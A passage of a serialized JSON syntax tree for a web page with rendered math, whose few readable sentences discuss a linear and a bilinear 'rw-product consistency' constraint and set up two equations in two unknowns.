29],[117733],{"type":23,"tag":141,"props":117734,"children":117736},{"className":117735},[2686],[117737],{"type":29,"value":117206},{"type":23,"tag":141,"props":117739,"children":117741},{"className":117740,"style":91532},[2686],[117742],{"type":29,"value":1743},{"type":23,"tag":141,"props":117744,"children":117746},{"className":117745},[2686],[117747,117756],{"type":23,"tag":141,"props":117748,"children":117750},{"className":117749},[2686,29],[117751],{"type":23,"tag":141,"props":117752,"children":117754},{"className":117753},[2686],[117755],{"type":29,"value":117225},{"type":23,"tag":141,"props":117757,"children":117759},{"className":117758},[2702],[117760],{"type":23,"tag":141,"props":117761,"children":117763},{"className":117762},[2707,20314],[117764,117793],{"type":23,"tag":141,"props":117765,"children":117767},{"className":117766},[2712],[117768,117788],{"type":23,"tag":141,"props":117769,"children":117771},{"className":117770,"style":92061},[2717],[117772],{"type":23,"tag":141,"props":117773,"children":117774},{"style":112662},[117775,117779],{"type":23,"tag":141,"props":117776,"children":117778},{"className":117777,"style":2727},[2726],[],{"type":23,"tag":141,"props":117780,"children":117782},{"className":117781},[2732,2733,2734,2735],[117783],{"type":23,"tag":141,"props":117784,"children":117786},{"className":117785,"style":112755},[2686,20260,2735],[117787],{"type":29,"value":7332},{"type":23,"tag":141,"props":117789,"children":117791},{"className":117790},[20417],[117792],{"type":29,"value":20420},{"type":23,"tag":141,"props":117794,"children":117796},{"className":117795},[2712],[117797],{"type":23,"tag":141,"props":117798,"children":117800},{"className":117799,"style":117442},[2717],[117801],{"type":23,"tag":141,"props":117802,"children":117803},{},[],{"type":23,"tag":32,"props":117805,"children":117806},{},[117807,117809,117814],{"type":29,"value":117808},"This check is linear in ",{"type":23,"tag":38,"props":117810,"children":117812},{"className":117811},[],[117813],{"type":29,"value":117546},{"type":29,"value":322},{"type":23,"tag":116,"props":117816,"children":117817},{"start":180},[117818],{"type":23,"tag":120,"props":117819,"children":117820},{},[117821,117826,117828,117833],{"type":23,"tag":3998,"props":117822,"children":117823},{},[117824],{"type":29,"value":117825},"rw-product consistency",{"type":29,"value":117827}," (bilinear in ",{"type":23,"tag":38,"props":117829,"children":117831},{"className":117830},[],[117832],{"type":29,"value":117546},{"type":29,"value":22629},{"type":23,"tag":32,"props":117835,"children":117836},{},[117837],{"type":23,"tag":38,"props":117838,"children":117840},{"className":117839},[2658,2659],[117841],{"type":23,"tag":141,"props":117842,"children":117844},{"className":117843},[2664],[117845],{"type":23,"tag":141,"props":117846,"children":117848},{"className":117847,"ariaHidden":2670},[2669],[117849,118020,118191],{"type":23,"tag":141,"props":117850,"children":117852},{"className":117851},[2675],[117853,117857,117914,117918,117927,117932,117941,117946,118007,118011,118016],{"type":23,"tag":141,"props":117854,"children":117856},{"className":117855,"style":91474},[2680],[],{"type":23,"tag":141,"props":117858,"children":117860},{"className":117859},[20296],[117861,117866],{"type":23,"tag":141,"props":117862,"children":117864},{"className":117863,"style":20303},[20296,20301,20302],[117865],{"type":29,"value":117130},{"type":23,"tag":141,"props":117867,"children":117869},{"className":117868},[2702],[117870],{"type":23,"tag":141,"props":117871,"children":117873},{"className":117872},[2707,20314],[117874,117903],{"type":23,"tag":141,"props":117875,"children":117877},{"className":117876},[2712],[117878,117898],{"type":23,"tag":141,"props":117879,"children":117881},{"className":117880,"style":112739},[2717],[117882],{"type":23,"tag":141,"props":117883,"children":117884},{"style":20327},[117885,117889],{"type":23,"tag":141,"props":117886,"children":117888},{"className":117887,"style":2727},[2726],[],{"type":23,"tag":141,"props":117890,"children":117892},{"className":117891},[2732,2733,2734,2735],[117893],{"type":23,"tag":141,"props":117894,"children":117896},{"className":117895},[2686,20260,2735],[117897],{"type":29,"value":2404},{"type":23,"tag":141,"props":117899,"children":117901},{"className":117900},[20417],[117902],{"type":29,"value":20420},{"type":23,"tag":141,"props":117904,"children":117906},{"className":117905},[2712],[117907],{"type":23,"tag":141,"props":117908,"children":117910},{"className":117909,"style":113019},[2717],[117911],{"type":23,"tag":141,"props":117912,"children":117913},{},[],{"type":23,"tag":141,"props":117915,"children":117917},{"className":117916,"style":2804},[2766],[],{"type":23,"tag":141,"props":117919,"children":117921},{"className":117920},[2686,29],[117922],{"type":23,"tag":141,"props":117923,"children":117925},{"className":117924},[2686],[117926],{"type":29,"value":92351},{"type":23,"tag":141,"props":117928,"children":117930},{"className":117929,"style":91532},[2686],[117931],{"type":29,"value":1743},{"type":23,"tag":141,"props":117933,"children":117935},{"className":117934},[2686,29],[117936],{"type":23,"tag":141,"props":117937,"children":117939},{"className":117938},[2686],[117940],{"type":29,"value":117206},{"type":23,"tag":141,"props":117942,"children":117944},{"className":117943,"style":91532},[2686],[117945],{"type":29,"value":1743},{"type":23,"tag":141,"props":117947,"children":117949},{"className":117948},[2686],[117950,117959],{"type":23,"tag":141,"props":117951,"children":117953},{"className":117952},[2686,29],[117954],{"type":23,"tag":141,"props":117955,"children":117957},{"className":117956},[2686],[117958],{"type":29,"value":117225},{"type":23,"tag":141,"props":117960,"children":117962},{"className":117961},[2702],[117963],{"type":23,"tag":141,"props":117964,"children":117966},{"className":117965},[2707,20314],[117967,117996],{"type":23,"tag":141,"props":117968,"children":117970},{"className":117969},[2712],[117971,117991],{"type":23,"tag":141,"props":117972,"children":117974},{"className":117973,"style":92061},[2717],[117975],{"type":23,"tag":141,"props":117976,"children":117977},{"style":112662},[117978,117982],{"type":23,"tag":141,"props":117979,"children":117981},{"className":117980,"style":2727},[2726],[],{"type":23,"tag":141,"props":117983,"children":117985},{"className":117984},[2732,2733,2734,2735],[117986],{"type":23,"tag":141,"props":117987,"children":117989},{"className":117988},[2686,20260,2735],[117990],{"type":29,"value":2404},{"type":23,"tag":141,"props":117992,"children":117994},{"className":117993},[20417],[117995],{"type":29,"value":20420},{"type":23,"tag":141,"props":117997,"children":117999},{"className":117998},[2712],[118000],{"type":23,"tag":141,"props":118001,"children":118003},{"className":118002,"style":91615},[2717],[118004],{"type":23,"tag":141,"props":118005,"children":118006},{},[],{"type":23,"tag":141,"props":118008,"children":118010},{"className":118009,"style":2863},[2766],[],{"type":23,"tag":141,"props":118012,"children":118014},{"className":118013},[2868],[118015],{"type":29,"value":1377},{"type":23,"tag":141,"props":118017,"children":118019},{"className":118018,"style":2863},[2766],[],{"type":23,"tag":141,"props":118021,"children":118023},{"className":118022},[2675],[118024,118028,118085,118089,118098,118103,118112,118117,118178,118182,118187],{"type":23,"tag":141,"props":118025,"children":118027},{"className":118026,"style":117294},[2680],[],{"type":23,"tag":141,"props":118029,"children":118031},{"className":118030},[20296],[118032,118037],{"type":23,"tag":141,"props":118033,"children":118035},{"className":118034,"style":20303},[20296,20301,20302],[118036],{"type":29,"value":117130},{"type":23,"tag":141,"props":118038,"children":118040},{"className":118039},[2702],[118041],{"type":23,"tag":141,"props":118042,"children":118044},{"className":118043},[2707,20314],[118045,118074],{"type":23,"tag":141,"props":118046,"children":118048},{"className":118047},[2712],[118049,118069],{"type":23,"tag":141,"props":118050,"children":118052},{"className":118051,"style":112739},[2717],[118053],{"type":23,"tag":141,"props":118054,"children":118055},{"style":20327},[118056,118060],{"type":23,"tag":141,"props":118057,"children":118059},{"className":118058,"style":2727},[2726],[],{"type":23,"tag":141,"props":118061,"children":118063},{"className":118062},[2732,2733,2734,2735],[118064],{"type":23,"tag":141,"props":118065,"children":118067},{"className":118066,"style":112755},[2686,20260,2735],[118068],{"type":29,"value":7332},{"type":23,"tag":141,"props":118070,"children":118072},{"className":118071},[20417],[118073],{"type":29,"value":20420},{"type":23,"tag":141,"props":118075,"children":118077},{"className":118076},[2712],[118078],{"type":23,"tag":141,"props":118079,"children":118081},{"className":118080,"style":112770},[2717],[118082],{"type":23,"tag":141,"props":118083,"children":118084},{},[],{"type":23,"tag":141,"props":118086,"children":118088},{"className":118087,"style":2804},[2766],[],{"type":23,"tag":141,"props":118090,"children":118092},{"className":118091},[2686,29],[118093],{"type":23,"tag":141,"props":118094,"children":118096},{"className":118095},[2686],[118097],{"type":29,"value":48050},{"type":23,"tag":141,"props":118099,"children":118101},{"className":118100,"style":91532},[2686],[118102],{"type":29,"value":1743},{"type":23,"tag":141,"props":118104,"children":118106},{"className":118105},[2686,29],[118107],{"type":23,"tag":141,"props":118108,"children":118110},{"className":118109},[2686],[118111],{"type":29,"value":117206},{"type":23,"tag":141,"props":118113,"children":118115},{"className":118114,"style":91532},[2686],[118116],{"type":29,"value":1743},{"type":23,"tag":141,"props":118118,"children":118120},{"className":118119},[2686],[118121,118130],{"type":23,"tag":141,"props":118122,"children":118124},{"className":118123},[2686,29],[118125],{"type":23,"tag":141,"props":118126,"children":118128},{"className":118127},[2686],[118129],{"type":29,"value":117225},{"type":23,"tag":141,"props":118131,"children":118133},{"className":118132},[2702],[118134],{"type":23,"tag":141,"props":118135,"children":118137},{"className":118136},[2707,20314],[118138,118167],{"type":23,"tag":141,"props":118139,"children":118141},{"className":118140},[2712],[118142,118162],{"type":23,"tag":141,"props":118143,"children":118145},{"className":118144,"style":92061},[2717],[118146],{"type":23,"tag":141,"props":118147,"children":118148},{"style":112662},[118149,118153],{"type":23,"tag":141,"props":118150,"children":118152},{"className":118151,"style":2727},[2726],[],{"type":23,"tag":141,"props":118154,"children":118156},{"className":118155},[2732,2733,2734,2735],[118157],{"type":23,"tag":141,"props":118158,"children":118160},{"className":118159,"style":112755},[2686,20260,2735],[118161],{"type":29,"value":7332},{"type":23,"tag":141,"props":118163,"children":118165},{"className":118164},[20417],[118166],{"type":29,"value":20420},{"type":23,"tag":141,"props":118168,"children":118170},{"className":118169},[2712],[118171],{"type":23,"tag":141,"props":118172,"children":118174},{"className":118173,"style":117442},[2717],[118175],{"type":23,"tag":141,"props":118176,"children":118177},{},[],{"type":23,"tag":141,"props":118179,"children":118181},{"className":118180,"style":2767},[2766],[],{"type":23,"tag":141,"props":118183,"children":118185},{"className":118184},[2772],[118186],{"type":29,"value":109794},{"type":23,"tag":141,"props":118188,"children":118190},{"className":118189,"style":2767},[2766],[],{"type":23,"tag":141,"props":118192,"children":118194},{"className":118193},[2675],[118195,118199,118204,118213],{"type":23,"tag":141,"props":118196,"children":118198},{"className":118197,"style":2787},[2680],[],{"type":23,"tag":141,"props":118200,"children":118202},{"className":118201},[20389],[118203],{"type":29,"value":192},{"type":23,"tag":141,"props":118205,"children":118207},{"className":118206},[2686,29],[118208],{"type":23,"tag":141,"props":118209,"children":118211},{"className":118210},[2686],[118212],{"type":29,"value":117482},{"type":23,"tag":141,"props":118214,"children":118216},{"className":118215},[20411],[118217],{"type":29,"value":1788},{"type":23,"tag":32,"props":118219,"children":118220},{},[118221,118223,118392,118393,118562],{"type":29,"value":118222},"If we vary ",{"type":23,"tag":38,"props":118224,"children":118226},{"className":118225},[2658,2659],[118227],{"type":23,"tag":141,"props":118228,"children":118230},{"className":118229},[2664],[118231],{"type":23,"tag":141,"props":118232,"children":118234},{"className":118233,"ariaHidden":2670},[2669],[118235,118313],{"type":23,"tag":141,"props":118236,"children":118238},{"className":118237},[2675],[118239,118243,118300,118304,118309],{"type":23,"tag":141,"props":118240,"children":118242},{"className":118241,"style":108502},[2680],[],{"type":23,"tag":141,"props":118244,"children":118246},{"className":118245},[2686],[118247,118252],{"type":23,"tag":141,"props":118248,"children":118250},{"className":118249},[2686,20260],[118251],{"type":29,"value":17947},{"type":23,"tag":141,"props":118253,"children":118255},{"className":118254},[2702],[118256],{"type":23,"tag":141,"props":118257,"children":118259},{"className":118258},[2707,20314],[118260,118289],{"type":23,"tag":141,"props":118261,"children":118263},{"className":118262},[2712],[118264,118284],{"type":23,"tag":141,"props":118265,"children":118267},{"className":118266,"style":91584},[2717],[118268],{"type":23,"tag":141,"props":118269,"children":118270},{"style":91588},[118271,118275],{"type":23,"tag":141,"props":118272,"children":118274},{"className":118273,"style":2727},[2726],[],{"type":23,"tag":141,"props":118276,"children":118278},{"className":118277},[2732,2733,2734,2735],[118279],{"type":23,"tag":141,"props":118280,"children":118282},{"className":118281},[2686,2735],[118283],{"type":29,"value":2698},{"type":23,"tag":141,"props":118285,"children":118287},{"className":118286},[20417],[118288],{"type":29,"value":20420},{"type":23,"tag":141,"props":118290,"children":118292},{"className":118291},[2712],[118293],{"type":23,"tag":141,"props":118294,"children":118296},{"className":118295,"style":91615},[2717],[118297],{"type":23,"tag":141,"props":118298,"children":118299},{},[],{"type":23,"tag":141,"props":118301,"children":118303},{"className":118302,"style":2863},[2766],[],{"type":23,"tag":141,"props":118305,"children":118307},{"className":118306},[2868],[118308],{"type":29,"value":1377},{"type":23,"tag":141,"props":118310,"children":118312},{"className":118311,"style":2863},[2766],[],{"type":23,"tag":141,"props":118314,"children":118316},{"className":118315},[2675],[118317,118321,118362,118367,118372,118377,118382,118387],{"type":23,"tag":141,"props":118318,"children":118320},{"className":118319,"style":91474},[2680],[],{"type":23,"tag":141,"props":118322,"children":118324},{"className":118323},[2686],[118325,118334,118339,118348,118353],{"type":23,"tag":141,"props":118326,"children":118328},{"className":118327},[2686,29],[118329],{"type":23,"tag":141,"props":118330,"children":118332},{"className":118331},[2686],[118333],{"type":29,"value":92351},{"type":23,"tag":141,"props":118335,"children":118337},{"className":118336,"style":91532},[2686],[118338],{"type":29,"value":1743},{"type":23,"tag":141,"props":118340,"children":118342},{"className":118341},[2686,29],[118343],{"type":23,"tag":141,"props":118344,"children":118346},{"className":118345},[2686],[118347],{"type":29,"value":117206},{"type":23,"tag":141,"props":118349,"children":118351},{"className":118350,"style":91532},[2686],[118352],{"type":29,"value":1743},{"type":23,"tag":141,"props":118354,"children":118356},{"className":118355},[2686,29],[118357],{"type":23,"tag":141,"props":118358,"children":118360},{"className":118359},[2686],[118361],{"type":29,"value":117225},{"type":23,"tag":141,"props":118363,"children":118365},{"className":118364},[20389],[118366],{"type":29,"value":2399},{"type":23,"tag":141,"props":118368,"children":118370},{"className":118369},[2686],[118371],{"type":29,"value":2698},{"type":23,"tag":141,"props":118373,"children":118375},{"className":118374},[20411],[118376],{"type":29,"value":14088},{"type":23,"tag":141,"props":118378,"children":118380},{"className":118379},[20389],[118381],{"type":29,"value":2399},{"type":23,"tag":141,"props":118383,"children":118385},{"className":118384},[2686],[118386],{"type":29,"value":2698},{"type":23,"tag":141,"props":118388,"children":118390},{"className":118389},[20411],[118391],{"type":29,"value":14088},{"type":29,"value":313},{"type":23,"tag":38,"props":118394,"children":118396},{"className":118395},[2658,2659],[118397],{"type":23,"tag":141,"props":118398,"children":118400},{"className":118399},[2664],[118401],{"type":23,"tag":141,"props":118402,"children":118404},{"className":118403,"ariaHidden":2670},[2669],[118405,118483],{"type":23,"tag":141,"props":118406,"children":118408},{"className":118407},[2675],[118409,118413,118470,118474,118479],{"type":23,"tag":141,"props":118410,"children":118412},{"className":118411,"style":108502},[2680],[],{"type":23,"tag":141,"props":118414,"children":118416},{"className":118415},[2686],[118417,118422],{"type":23,"tag":141,"props":118418,"children":118420},{"className":118419},[2686,20260],[118421],{"type":29,"value":17947},{"type":23,"tag":141,"props":118423,"children":118425},{"className":118424},[2702],[118426],{"type":23,"tag":141,"props":118427,"children":118429},{"className":118428},[2707,20314],[118430,118459],{"type":23,"tag":141,"props":118431,"children":118433},{"className":118432},[2712],[118434,118454],{"type":23,"tag":141,"props":118435,"children":118437},{"className":118436,"style":91584},[2717],[118438],{"type":23,"tag":141,"props":118439,"children":118440},{"style":91588},[118441,118445],{"type":23,"tag":141,"props":118442,"children":118444},{"className":118443,"style":2727},[2726],[],{"type":23,"tag":141,"props":118446,"children":118448},{"className":118447},[2732,2733,2734,2735],[118449],{"type":23,"tag":141,"props":118450,"children":118452},{"className":118451},[2686,2735],[118453],{"type":29,"value":687},{"type":23,"tag":141,"props":118455,"children":118457},{"className":118456},[20417],[118458],{"type":29,"value":20420},{"type":23,"tag":141,"props":118460,"children":118462},{"className":118461},[2712],[118463],{"type":23,"tag":141,"props":118464,"children":118466},{"className":118465,"style":91615},[2717],[118467],{"type":23,"tag":141,"props":118468,"children":118469},{},[],{"type":23,"tag":141,"props":118471,"children":118473},{"className":118472,"style":2863},[2766],[],{"type":23,"tag":141,"props":118475,"children":118477},{"className":118476},[2868],[118478],{"type":29,"value":1377},{"type":23,"tag":141,"props":118480,"children":118482},{"className":118481,"style":2863},[2766],[],{"type":23,"tag":141,"props":118484,"children":118486},{"className":118485},[2675],[118487,118491,118532,118537,118542,118547,118552,118557],{"type":23,"tag":141,"props":118488,"children":118490},{"className":118489,"style":91474},[2680],[],{"type":23,"tag":141,"props":118492,"children":118494},{"className":118493},[2686],[118495,118504,118509,118518,118523],{"type":23,"tag":141,"props":118496,"children":118498},{"className":118497},[2686,29],[118499],{"type":23,"tag":141,"props":118500,"children":118502},{"className":118501},[2686],[118503],{"type":29,"value":92351},{"type":23,"tag":141,"props":118505,"children":118507},{"className":118506,"style":91532},[2686],[118508],{"type":29,"value":1743},{"type":23,"tag":141,"props":118510,"children":118512},{"className":118511},[2686,29],[118513],{"type":23,"tag":141,"props":118514,"children":118516},{"className":118515},[2686],[118517],{"type":29,"value":117206},{"type":23,"tag":141,"props":118519,"children":118521},{"className":118520,"style":91532},[2686],[118522],{"type":29,"value":1743},{"type":23,"tag":141,"props":118524,"children":118526},{"className":118525},[2686,29],[118527],{"type":23,"tag":141,"props":118528,"children":118530},{"className":118529},[2686],[118531],{"type":29,"value":117225},{"type":23,"tag":141,"props":118533,"children":118535},{"className":118534},[20389],[118536],{"type":29,"value":2399},{"type":23,"tag":141,"props":118538,"children":118540},{"className":118539},[2686],[118541],{"type":29,"value":2698},{"type":23,"tag":141,"props":118543,"children":118545},{"className":118544},[20411],[118546],{"type":29,"value":14088},{"type":23,"tag":141,"props":118548,"children":118550},{"className":118549},[20389],[118551],{"type":29,"value":2399},{"type":23,"tag":141,"props":118553,"children":118555},{"className":118554},[2686],[118556],{"type":29,"value":687},{"type":23,"tag":141,"props":118558,"children":118560},{"className":118559},[20411],[118561],{"type":29,"value":14088},{"type":29,"value":118563}," we get the following constraint:",{"type":23,"tag":32,"props":118565,"children":118566},{},[118567],{"type":23,"tag":38,"props":118568,"children":118570},{"className":118569},[2658,2659],[118571],{"type":23,"tag":141,"props":118572,"children":118574},{"className":118573},[2664],[118575],{"type":23,"tag":141,"props":118576,"children":118578},{"className":118577,"ariaHidden":2670},[2669],[118579,118658,118736,118777],{"type":23,"tag":141,"props":118580,"children":118582},{"className":118581},[2675],[118583,118588,118645,118649,118654],{"type":23,"tag":141,"props":118584,"children":118587},{"className":118585,"style":118586},[2680],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":141,"props":118589,"children":118591},{"className":118590},[2686],[118592,118597],{"type":23,"tag":141,"props":118593,"children":118595},{"className":118594},[2686,20260],[118596],{"type":29,"value":17947},{"type":23,"tag":141,"props":118598,"children":118600},{"className":118599},[2702],[118601],{"type":23,"tag":141,"props":118602,"children":118604},{"className":118603},[2707,20314],[118605,118634],{"type":23,"tag":141,"props":118606,"children":118608},{"className":118607},[2712],[118609,118629],{"type":23,"tag":141,"props":118610,"children":118612},{"className":118611,"style":91584},[2717],[118613],{"type":23,"tag":141,"props":118614,"children":118615},{"style":91588},[118616,118620],{"type":23,"tag":141,"props":118617,"children":118619},{"className":118618,"style":2727},[2726],[],{"type":23,"tag":141,"props":118621,"children":118623},{"className":118622},[2732,2733,2734,2735],[118624],{"type":23,"tag":141,"props":118625,"children":118627},{"className":118626},[2686,2735],[118628],{"type":29,"value":2698},{"type":23,"tag":141,"props":118630,"children":118632},{"className":118631},[20417],[118633],{"type":29,"value":20420},{"type":23,"tag":141,"props":118635,"children":118637},{"className":118636},[2712],[118638],{"type":23,"tag":141,"props":118639,"children":118641},{"className":118640,"style":91615},[2717],[118642],{"type":23,"tag":141,"props":118643,"children":118644},{},[],{"type":23,"tag":141,"props":118646,"children":118648},{"className":118647,"style":2767},[2766],[],{"type":23,"tag":141,"props":118650,"children":118652},{"className":118651},[2772],[118653],{"type":29,"value":109794},{"type":23,"tag":141,"props":118655,"children":118657},{"className":118656,"style":2767},[2766],[],{"type":23,"tag":141,"props":118659,"children":118661},{"className":118660},[2675],[118662,118666,118723,118727,118732],{"type":23,"tag":141,"props":118663,"children":118665},{"className":118664,"style":118586},[2680],[],{"type":23,"tag":141,"props":118667,"children":118669},{"className":118668},[2686],[118670,118675],{"type":23,"tag":141,"props":118671,"children":118673},{"className":118672},[2686,20260],[118674],{"type":29,"value":17947},{"type":23,"tag":141,"props":118676,"children":118678},{"className":118677},[2702],[118679],{"type":23,"tag":141,"props":118680,"children":118682},{"className":118681},[2707,20314],[118683,118712],{"type":23,"tag":141,"props":118684,"children":118686},{"className":118685},[2712],[118687,118707],{"type":23,"tag":141,"props":118688,"children":118690},{"className":118689,"style":91584},[2717],[118691],{"type":23,"tag":141,"props":118692,"children":118693},{"style":91588},[118694,118698],{"type":23,"tag":141,"props":118695,"children":118697},{"className":118696,"style":2727},[2726],[],{"type":23,"tag":141,"props":118699,"children":118701},{"className":118700},[2732,2733,2734,2735],[118702],{"type":23,"tag":141,"props":118703,"children":118705},{"className":118704},[2686,2735],[118706],{"type":29,"value":687},{"type":23,"tag":141,"props":118708,"children":118710},{"className":118709},[20417],[118711],{"type":29,"value":20420},{"type":23,"tag":141,"props":118713,"children":118715},{"className":118714},[2712],[118716],{"type":23,"tag":141,"props":118717,"children":118719},{"className":118718,"style":91615},[2717],[118720],{"type":23,"tag":141,"props":118721,"children":118722},{},[],{"type":23,"tag":141,"props":118724,"children":118726},{"className":118725,"style":2767},[2766],[],{"type":23,"tag":141,"props":118728,"children":118730},{"className":118729},[2772],[118731],{"type":29,"value":109794},{"type":23,"tag":141,"props":118733,"children":118735},{"className":118734,"style":2767},[2766],[],{"type":23,"tag":141,"props":118737,"children":118739},{"className":118738},[2675],[118740,118744,118749,118759,118764,118768,118773],{"type":23,"tag":141,"props":118741,"children":118743},{"className":118742,"style":2787},[2680],[],{"type":23,"tag":141,"props":118745,"children":118747},{"className":118746},[20389],[118748],{"type":29,"value":192},{"type":23,"tag":141,"props":118750,"children":118752},{"className":118751},[2686,29],[118753],{"type":23,"tag":141,"props":118754,"children":118756},{"className":118755},[2686],[118757],{"type":29,"value":118758},"rest of product",{"type":23,"tag":141,"props":118760,"children":118762},{"className":118761},[20411],[118763],{"type":29,"value":1788},{"type":23,"tag":141,"props":118765,"children":118767},{"className":118766,"style":2863},[2766],[],{"type":23,"tag":141,"props":118769,"children":118771},{"className":118770},[2868],[118772],{"type":29,"value":1377},{"type":23,"tag":141,"props":118774,"children":118776},{"className":118775,"style":2863},[2766],[],{"type":23,"tag":141,"props":118778,"children":118780},{"className":118779},[2675],[118781,118785],{"type":23,"tag":141,"props":118782,"children":118784},{"className":118783,"style":113552},[2680],[],{"type":23,"tag":141,"props":118786,"children":118788},{"className":118787},[2686,29],[118789],{"type":23,"tag":141,"props":118790,"children":118792},{"className":118791},[2686],[118793],{"type":29,"value":113563},{"type":23,"tag":32,"props":118795,"children":118796},{},[118797,118799,118952],{"type":29,"value":118798},"This is bilinear in ",{"type":23,"tag":38,"props":118800,"children":118802},{"className":118801},[2658,2659],[118803],{"type":23,"tag":141,"props":118804,"children":118806},{"className":118805},[2664],[118807],{"type":23,"tag":141,"props":118808,"children":118810},{"className":118809,"ariaHidden":2670},[2669],[118811],{"type":23,"tag":141,"props":118812,"children":118814},{"className":118813},[2675],[118815,118819,118824,118881,118886,118890,118947],{"type":23,"tag":141,"props":118816,"children":118818},{"className":118817,"style":2787},[2680],[],{"type":23,"tag":141,"props":118820,"children":118822},{"className":118821},[20389],[118823],{"type":29,"value":192},{"type":23,"tag":141,"props":118825,"children":118827},{"className":118826},[2686],[118828,118833],{"type":23,"tag":141,"props":118829,"children":118831},{"className":118830},[2686,20260],[118832],{"type":29,"value":17947},{"type":23,"tag":141,"props":118834,"children":118836},{"className":118835},[2702],[118837],{"type":23,"tag":141,"props":118838,"children":118840},{"className":118839},[2707,20314],[118841,118870],{"type":23,"tag":141,"props":118842,"children":118844},{"className":118843},[2712],[118845,118865],{"type":23,"tag":141,"props":118846,"children":118848},{"className":118847,"style":91584},[2717],[118849],{"type":23,"tag":141,"props":118850,"children":118851},{"style":91588},[118852,118856],{"type":23,"tag":141,"props":118853,"children":118855},{"className":118854,"style":2727},[2726],[],{"type":23,"tag":141,"props":118857,"children":118859},{"className":118858},[2732,2733,2734,2735],[118860],{"type":23,"tag":141,"props":118861,"children":118863},{"className":118862},[2686,2735],[118864],{"type":29,"value":2698},{"type":23,"tag":141,"props":118866,"children":118868},{"className":118867},[20417],[118869],{"type":29,"value":20420},{"type":23,"tag":141,"props":118871,"children":118873},{"className":118872},[2712],[118874],{"type":23,"tag":141,"props":118875,"children":118877},{"className":118876,"style":91615},[2717],[118878],{"type":23,"tag":141,"props":118879,"children":118880},{},[],{"type":23,"tag":141,"props":118882,"children":118884},{"className":118883},[2798],[118885],{"type":29,"value":512},{"type":23,"tag":141,"props":118887,"children":118889},{"className":118888,"style":2804},[2766],[],{"type":23,"tag":141,"props":118891,"children":118893},{"className":118892},[2686],[118894,118899],{"type":23,"tag":141,"props":118895,"children":118897},{"className":118896},[2686,20260],[118898],{"type":29,"value":17947},{"type":23,"tag":141,"props":118900,"children":118902},{"className":118901},[2702],[118903],{"type":23,"tag":141,"props":118904,"children":118906},{"className":118905},[2707,20314],[118907,118936],{"type":23,"tag":141,"props":118908,"children":118910},{"className":118909},[2712],[118911,118931],{"type":23,"tag":141,"props":118912,"children":118914},{"className":118913,"style":91584},[2717],[118915],{"type":23,"tag":141,"props":118916,"children":118917},{"style":91588},[118918,118922],{"type":23,"tag":141,"props":118919,"children":118921},{"className":118920,"style":2727},[2726],[],{"type":23,"tag":141,"props":118923,"children":118925},{"className":118924},[2732,2733,2734,2735],[118926],{"type":23,"tag":141,"props":118927,"children":118929},{"className":118928},[2686,2735],[118930],{"type":29,"value":687},{"type":23,"tag":141,"props":118932,"children":118934},{"className":118933},[20417],[118935],{"type":29,"value":20420},{"type":23,"tag":141,"props":118937,"children":118939},{"className":118938},[2712],[118940],{"type":23,"tag":141,"props":118941,"children":118943},{"className":118942,"style":91615},[2717],[118944],{"type":23,"tag":141,"props":118945,"children":118946},{},[],{"type":23,"tag":141,"props":118948,"children":118950},{"className":118949},[20411],[118951],{"type":29,"value":1788},{"type":29,"value":322},{"type":23,"tag":32,"props":118954,"children":118955},{},[118956,118958,119111],{"type":29,"value":118957},"We have two unknowns ",{"type":23,"tag":38,"props":118959,"children":118961},{"className":118960},[2658,2659],[118962],{"type":23,"tag":141,"props":118963,"children":118965},{"className":118964},[2664],[118966],{"type":23,"tag":141,"props":118967,"children":118969},{"className":118968,"ariaHidden":2670},[2669],[118970],{"type":23,"tag":141,"props":118971,"children":118973},{"className":118972},[2675],[118974,118978,118983,119040,119045,119049,119106],{"type":23,"tag":141,"props":118975,"children":118977},{"className":118976,"style":2787},[2680],[],{"type":23,"tag":141,"props":118979,"children":118981},{"className":118980},[20389],[118982],{"type":29,"value":192},{"type":23,"tag":141,"props":118984,"children":118986},{"className":118985},[2686],[118987,118992],{"type":23,"tag":141,"props":118988,"children":118990},{"className":118989},[2686,20260],[118991],{"type":29,"value":17947},{"type":23,"tag":141,"props":118993,"children":118995},{"className":118994},[2702],[118996],{"type":23,"tag":141,"props":118997,"children":118999},{"className":118998},[2707,20314],[119000,119029],{"type":23,"tag":141,"props":119001,"children":119003},{"className":119002},[2712],[119004,119024],{"type":23,"tag":141,"props":119005,"children":119007},{"className":119006,"style":91584},[2717],[119008],{"type":23,"tag":141,"props":119009,"children":119010},{"style":91588},[119011,119015],{"type":23,"tag":141,"props":119012,"children":119014},{"className":119013,"style":2727},[2726],[],{"type":23,"tag":141,"props":119016,"children":119018},{"className":119017},[2732,2733,2734,2735],[119019],{"type":23,"tag":141,"props":119020,"children":119022},{"className":119021},[2686,2735],[119023],{"type":29,"value":2698},{"type":23,"tag":141,"props":119025,"children":119027},{"className":119026},[20417],[119028],{"type":29,"value":20420},{"type":23,"tag":141,"props":119030,"children":119032},{"className":119031},[2712],[119033],{"type":23,"tag":141,"props":119034,"children":119036},{"className":119035,"style":91615},[2717],[119037],{"type":23,"tag":141,"props":119038,"children":119039},{},[],{"type":23,"tag":141,"props":119041,"children":119043},{"className":119042},[2798],[119044],{"type":29,"value":512},{"type":23,"tag":141,"props":119046,"children":119048},{"className":119047,"style":2804},[2766],[],{"type":23,"tag":141,"props":119050,"children":119052},{"className":119051},[2686],[119053,119058],{"type":23,"tag":141,"props":119054,"children":119056},{"className":119055},[2686,20260],[119057],{"type":29,"value":17947},{"type":23,"tag":141,"props":119059,"children":119061},{"className":119060},[2702],[119062],{"type":23,"tag":141,"props":119063,"children":119065},{"className":119064},[2707,20314],[119066,119095],{"type":23,"tag":141,"props":119067,"children":119069},{"className":119068},[2712],[119070,119090],{"type":23,"tag":141,"props":119071,"children":119073},{"className":119072,"style":91584},[2717],[119074],{"type":23,"tag":141,"props":119075,"children":119076},{"style":91588},[119077,119081],{"type":23,"tag":141,"props":119078,"children":119080},{"className":119079,"style":2727},[2726],[],{"type":23,"tag":141,"props":119082,"children":119084},{"className":119083},[2732,2733,2734,2735],[119085],{"type":23,"tag":141,"props":119086,"children":119088},{"className":119087},[2686,2735],[119089],{"type":29,"value":687},{"type":23,"tag":141,"props":119091,"children":119093},{"className":119092},[20417],[119094],{"type":29,"value":20420},{"type":23,"tag":141,"props":119096,"children":119098},{"className":119097},[2712],[119099],{"type":23,"tag":141,"props":119100,"children":119102},{"className":119101,"style":91615},[2717],[119103],{"type":23,"tag":141,"props":119104,"children":119105},{},[],{"type":23,"tag":141,"props":119107,"children":119109},{"className":119108},[20411],[119110],{"type":29,"value":1788},{"type":29,"value":119112}," and two equations, one linear and one 